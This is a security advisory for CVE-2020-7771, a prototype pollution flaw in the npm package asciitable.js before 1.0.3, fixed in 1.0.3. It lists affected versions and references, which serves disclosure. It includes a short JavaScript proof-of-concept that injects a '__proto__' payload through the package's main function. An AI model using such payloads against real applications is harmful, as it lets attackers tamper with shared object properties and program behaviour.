critical9.8
CVE-2020-7771
Prototype Pollution in asciitable.js
Impact
The package asciitable.js before 1.0.3 is vulnerable to Prototype Pollution via the main function. ### PoC ```js var a = require("asciitable.js"); var b = JSON.parse('{"__proto__":{"test":123}}'); a({},b); console.log({}.test) ```
Affected packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | asciitable.js | < 1.0.3 | 1.0.3 |
Affected products
| Vendor | Product | Affected versions |
|---|---|---|
| Asciitable.Js Project | Asciitable.Js | before 1.0.3 |
Weakness classification
References
- NVD record
- CVE.org record
- GitHub advisory
- https://github.com/victornpb/asciitable.js/pull/1
- https://snyk.io/vuln/SNYK-JS-ASCIITABLEJS-1039799
- https://github.com/advisories/GHSA-5pxj-mhwj-x5gv
- https://nvd.nist.gov/vuln/detail/CVE-2020-7771
- https://github.com/victornpb/asciitable.js/commit/8db8fc5ffa7a2a6e8596709d99b200afb53f40ab